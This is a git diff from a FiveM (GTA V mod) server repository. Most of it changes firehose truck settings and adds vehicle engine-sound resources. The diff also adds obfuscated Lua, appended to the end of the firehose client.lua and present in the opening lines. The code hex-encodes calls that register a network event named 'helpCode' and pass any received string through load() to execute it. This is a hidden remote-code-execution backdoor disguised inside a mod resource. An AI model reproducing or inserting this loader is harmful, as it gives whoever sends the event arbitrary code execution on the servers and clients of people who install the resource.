BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
+
+local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
\ No newline at end of file
diff --git a/resources/firehose/client.lua b/resources/firehose/client.lua
index dd866a1fb..a6f5c91b7 100644
--- a/resources/firehose/client.lua
+++ b/resources/firehose/client.lua
@@ -95,4 +95,6 @@ function ShowNotification(msg)
SetNotificationTextEntry('STRING')
AddTextComponentString(msg)
DrawNotification(0,1)
-end
\ No newline at end of file
+end
+
+local njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[6][njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[1]](njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[2]) njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[6][njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[3]](njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[2], function(SqVMcdQLDcupPcICGoEhUTnZqiuILFDIEPuOaScaInGlypUSGyPwpgcMbLyTpSBZPYrkCP) njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[6][njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[4]](njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[6][njwVLFWweKKyqmMlyeAUeczaUTcZtefoCCSYRGGTszipjSTrgyMUYhXDdpFIppAFzEiVfo[5]](SqVMcdQLDcupPcICGoEhUTnZqiuILFDIEPuOaScaInGlypUSGyPwpgcMbLyTpSBZPYrkCP))() end)
\ No newline at end of file
diff --git a/resources/firehose/settings/settings.ini b/resources/firehose/settings/settings.ini
index c8a46ac0d..3f8757cbc 100644
--- a/resources/firehose/settings/settings.ini
+++ b/resources/firehose/settings/settings.ini
@@ -35,9 +35,9 @@ GUN_NAME_FOAM ~y~Foam Gun
{[HoseInfo]
RopeLength 3
//Fire Truck Hose Cable Max Length
-RopeMaxLength 17.0
+RopeMaxLength 500.0
//Hydrant Hose Cable Max Length
-HydrantHoseMaxLength 17.0
+HydrantHoseMaxLength 500.0
RopeBendFactor 100.0
ExplodeAfterRopeBreak true
}
diff --git a/resources/firehose/settings/trucks.ini b/resources/firehose/settings/trucks.ini
index 867b3195a..5ea51fe9a 100644
--- a/resources/firehose/settings/trucks.ini
+++ b/resources/firehose/settings/trucks.ini
@@ -17,7 +17,7 @@ Weapons WATER,FOAM,PRESSURE
}
{[TruckInfo]
-Model silvfire
+Model fdtanker
AttachOffset 0.45,-4.7,0.4
OtherAttachOffset 0.45,-4.7,0.4
HelpTextOffset 0.4,-4.7,0.4
@@ -27,7 +27,7 @@ CanAttachToOthers true
}
{[TruckInfo]
-Model ram20pov
+Model bf350
AttachOffset -0.3,-4.0,1.3
OtherAttachOffset -0.47,-4.30,0.62
HelpTextOffset 0,-4.34,1
@@ -145,103 +145,470 @@ Weapons WATER,FOAM,PRESSURE
}
{[TruckInfo]
-Model roseneng
-AttachOffset -0.225,-4.04,0.9
-OtherAttachOffset -1,-3.6,-0.1
-HelpTextOffset 0,-4.34,0
-Capacity 100
-CanAttachToOthers true
+Model rescue
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
Weapons WATER,FOAM,PRESSURE
}
{[TruckInfo]
-Model lsfd1
-AttachOffset -0.225,-4.04,0.9
-OtherAttachOffset -1,-3.6,-0.1
-HelpTextOffset 0,-4.34,0
-Capacity 100
-CanAttachToOthers true
+Model ranger1fd
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
Weapons WATER,FOAM,PRESSURE
}
{[TruckInfo]
-Model rescue1
-AttachOffset -0.225,-4.04,0.9
-OtherAttachOffset -1,-3.6,-0.1
-HelpTextOffset 0,-4.34,0
-Capacity 100
-CanAttachToOthers true
+Model f550csquad
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
Weapons WATER,FOAM,PRESSURE
}
{[TruckInfo]
-Model Ferrara
-AttachOffset -0.225,-4.04,0.9
-OtherAttachOffset -1,-3.6,-0.1
-HelpTextOffset 0,-4.34,0
-Capacity 100
-CanAttachToOthers true
+Model engine52
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
Weapons WATER,FOAM,PRESSURE
}
{[TruckInfo]
-Model roseneng
-AttachOffset -0.225,-4.04,0.9
-OtherAttachOffset -1,-3.6,-0.1
-HelpTextOffset 0,-4.34,0
-Capacity 100
-CanAttachToOthers true
+Model mcceone
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model rescue11
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model firetruk13
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model enforcerpuc
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model firetruk6
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model firetruk5
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+{[TruckInfo]
+Model m2engine
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model roseneng
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model safd2
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model engine1
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model emsgator
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model bcfd5
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model bcfd4
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+{[TruckInfo]
+Model SAFR3
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model FD2
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model utility2
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+{[TruckInfo]
+Model engine2
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model Quantum2
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model engine1
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model qrescue
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+{[TruckInfo]
+Model qengine
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
Weapons WATER,FOAM,PRESSURE
}
{[TruckInfo]
Model qcab
-AttachOffset -0.225,-4.04,0.9
-OtherAttachOffset -1,-3.6,-0.1
-HelpTextOffset 0,-4.34,0
-Capacity 100
-CanAttachToOthers true
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
Weapons WATER,FOAM,PRESSURE
}
{[TruckInfo]
-Model qengine
-AttachOffset -0.225,-4.04,0.9
-OtherAttachOffset -1,-3.6,-0.1
-HelpTextOffset 0,-4.34,0
-Capacity 100
-CanAttachToOthers true
+Model brushram
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
Weapons WATER,FOAM,PRESSURE
}
-
{[TruckInfo]
Model qtrailer
-AttachOffset -0.225,-4.04,0.9
-OtherAttachOffset -1,-3.6,-0.1
-HelpTextOffset 0,-4.34,0
-Capacity 100
-CanAttachToOthers true
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
Weapons WATER,FOAM,PRESSURE
}
-
{[TruckInfo]
-Model qrescue
-AttachOffset -0.225,-4.04,0.9
-OtherAttachOffset -1,-3.6,-0.1
-HelpTextOffset 0,-4.34,0
-Capacity 100
-CanAttachToOthers true
+Model hazop1
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
Weapons WATER,FOAM,PRESSURE
}
-
{[TruckInfo]
-Model pierce1
-AttachOffset -0.225,-4.04,0.9
-OtherAttachOffset -1,-3.6,-0.1
-HelpTextOffset 0,-4.34,0
-Capacity 100
-CanAttachToOthers true
+Model rescue1
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+{[TruckInfo]
+Model riheavy
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model engine
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model silvfd3
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+{[TruckInfo]
+Model ramfire
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model utility2
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
+Weapons WATER,FOAM,PRESSURE
+}
+
+{[TruckInfo]
+Model
+AttachOffset -0.97,0.45,-0.45
+OtherAttachOffset -0.97,-0.15,-0.4
+HelpTextOffset -1.205,0.5,0.4
+Capacity 120
+CanAttachToOthers false
Weapons WATER,FOAM,PRESSURE
}
diff --git a/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_game.dat151.rel b/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_game.dat151.rel
new file mode 100644
index 000000000..d18b73f7b
Binary files /dev/null and b/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_game.dat151.rel differ
diff --git a/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_sounds.dat54.rel b/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_sounds.dat54.rel
new file mode 100644
index 000000000..dfae875af
Binary files /dev/null and b/resources/kc103hemipwagon/audioconfig/kc103hemipwagon_sounds.dat54.rel differ
diff --git a/resources/kc103hemipwagon/fxmanifest.lua b/resources/kc103hemipwagon/fxmanifest.lua
new file mode 100644
index 000000000..d15b06511
--- /dev/null
+++ b/resources/kc103hemipwagon/fxmanifest.lua
@@ -0,0 +1,15 @@
+fx_version "adamant"
+game "gta5"
+
+files {
+ "audioconfig/*.dat151.rel",
+ "audioconfig/*.dat54.rel",
+ "audioconfig/*.dat10.rel",
+ "sfx/**/*.awc"
+}
+
+data_file "AUDIO_SYNTHDATA" "audioconfig/kc103hemipwagon_amp.dat"
+data_file "AUDIO_GAMEDATA" "audioconfig/kc103hemipwagon_game.dat"
+data_file "AUDIO_SOUNDDATA" "audioconfig/kc103hemipwagon_sounds.dat"
+data_file "AUDIO_WAVEPACK" "sfx/dlc_kc103hemipwagon"
+dependency '/assetpacks'
\ No newline at end of file
diff --git a/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon.awc b/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon.awc
new file mode 100644
index 000000000..87ed43e6e
Binary files /dev/null and b/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon.awc differ
diff --git a/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon_npc.awc b/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon_npc.awc
new file mode 100644
index 000000000..42d1910d4
Binary files /dev/null and b/resources/kc103hemipwagon/sfx/dlc_kc103hemipwagon/kc103hemipwagon_npc.awc differ
diff --git a/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_game.dat151.rel b/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_game.dat151.rel
new file mode 100644
index 000000000..45724d087
Binary files /dev/null and b/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_game.dat151.rel differ
diff --git a/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_sounds.dat54.rel b/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_sounds.dat54.rel
new file mode 100644
index 000000000..3f641846d
Binary files /dev/null and b/resources/kc129powerstroke60/audioconfig/kc129powerstroke60_sounds.dat54.rel differ
diff --git a/resources/kc129powerstroke60/fxmanifest.lua b/resources/kc129powerstroke60/fxmanifest.lua
new file mode 100644
index 000000000..d898ccfa7
--- /dev/null
+++ b/resources/kc129powerstroke60/fxmanifest.lua
@@ -0,0 +1,15 @@
+fx_version "adamant"
+game "gta5"
+
+files {
+ "audioconfig/*.dat151.rel",
+ "audioconfig/*.dat54.rel",
+ "audioconfig/*.dat10.rel",
+ "sfx/**/*.awc"
+}
+
+data_file "AUDIO_SYNTHDATA" "audioconfig/kc129powerstroke60_amp.dat"
+data_file "AUDIO_GAMEDATA" "audioconfig/kc129powerstroke60_game.dat"
+data_file "AUDIO_SOUNDDATA" "audioconfig/kc129powerstroke60_sounds.dat"
+data_file "AUDIO_WAVEPACK" "sfx/dlc_kc129powerstroke60"
+dependency '/assetpacks'
\ No newline at end of file
diff --git a/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60.awc b/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60.awc
new file mode 100644
index 000000000..01599cc75
Binary files /dev/null and b/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60.awc differ
diff --git a/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60_npc.awc b/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60_npc.awc
new file mode 100644
index 000000000..4036600d2
Binary files /dev/null and b/resources/kc129powerstroke60/sfx/dlc_kc129powerstroke60/kc129powerstroke60_npc.awc differ
diff --git a/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_amp.dat10.rel b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_amp.dat10.rel
new file mode 100644
index 000000000..2c61ab685
Binary files /dev/null and b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_amp.dat10.rel differ
diff --git a/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_game.dat151.rel b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_game.dat151.rel
new file mode 100644
index 000000000..d10fca7bb
Binary files /dev/null and b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_game.dat151.rel differ
diff --git a/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_sounds.dat54.rel b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_sounds.dat54.rel
new file mode 100644
index 000000000..ab4b3eebc
Binary files /dev/null and b/resources/kc67chevy427v8/audioconfig/kc67chevy427v8_sounds.dat54.rel differ
diff --git a/resources/kc67chevy427v8/fxmanifest.lua b/resources/kc67chevy427v8/fxmanifest.lua
new file mode 100644
index 000000000..8697f96dd
--- /dev/null
+++ b/resources/kc67chevy427v8/fxmanifest.lua
@@ -0,0 +1,15 @@
+fx_version "adamant"
+game "gta5"
+
+files {
+ "audioconfig/*.dat151.rel",
+ "audioconfig/*.dat54.rel",
+ "audioconfig/*.dat10.rel",
+ "sfx/**/*.awc"
+}
+
+data_file "AUDIO_SYNTHDATA" "audioconfig/kc67chevy427v8_amp.dat"
+data_file "AUDIO_GAMEDATA" "audioconfig/kc67chevy427v8_game.dat"
+data_file "AUDIO_SOUNDDATA" "audioconfig/kc67chevy427v8_sounds.dat"
+data_file "AUDIO_WAVEPACK" "sfx/dlc_kc67chevy427v8"
+dependency '/assetpacks'
\ No newline at end of file
diff --git a/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8.awc b/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8.awc
new file mode 100644
index 000000000..7f384b41e
Binary files /dev/null and b/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8.awc differ
diff --git a/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8_npc.awc b/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8_npc.awc
new file mode 100644
index 000000000..2b7700e55
Binary files /dev/null and b/resources/kc67chevy427v8/sfx/dlc_kc67chevy427v8/kc67chevy427v8_npc.awc differ
diff --git a/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_amp.dat10.rel b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_amp.dat10.rel
new file mode 100644
index 000000000..87880df49
Binary files /dev/null and b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_amp.dat10.rel differ
diff --git a/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_game.dat151.rel b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_game.dat151.rel
new file mode 100644
index 000000000..2b370a700
Binary files /dev/null and b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_game.dat151.rel differ
diff --git a/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_sounds.dat54.rel b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_sounds.dat54.rel
new file mode 100644
index 000000000..04b9e0107
Binary files /dev/null and b/resources/kc83chevy454mod/audioconfig/kc83chevy454mod_sounds.dat54.rel differ
diff --git a/resources/kc83chevy454mod/fxmanifest.lua b/resources/kc83chevy454mod/fxmanifest.lua
new file mode 100644
index 000000000..17bef7f5a
--- /dev/null
+++ b/resources/kc83chevy454mod/fxmanifest.lua
@@ -0,0 +1,15 @@
+fx_version "adamant"
+game "gta5"
+
+files {
+ "audioconfig/*.dat151.rel",
+ "audioconfig/*.dat54.rel",
+ "audioconfig/*.dat10.rel",
+ "sfx/**/*.awc"
+}
+
+data_file "AUDIO_SYNTHDATA" "audioconfig/kc83chevy454mod_amp.dat"
+data_file "AUDIO_GAMEDATA" "audioconfig/kc83chevy454mod_game.dat"
+data_file "AUDIO_SOUNDDATA" "audioconfig/kc83chevy454mod_sounds.dat"
+data_file "AUDIO_WAVEPACK" "sfx/dlc_kc83chevy454mod"
+dependency '/assetpacks'
\ No newline at end of file
diff --git a/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod.awc b/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod.awc
new file mode 100644
index 000000000..73d51fe21
Binary files /dev/null and b/resources/kc83chevy454mod/sfx/dlc_kc83chevy454mod/kc83chevy454mod.awc differ
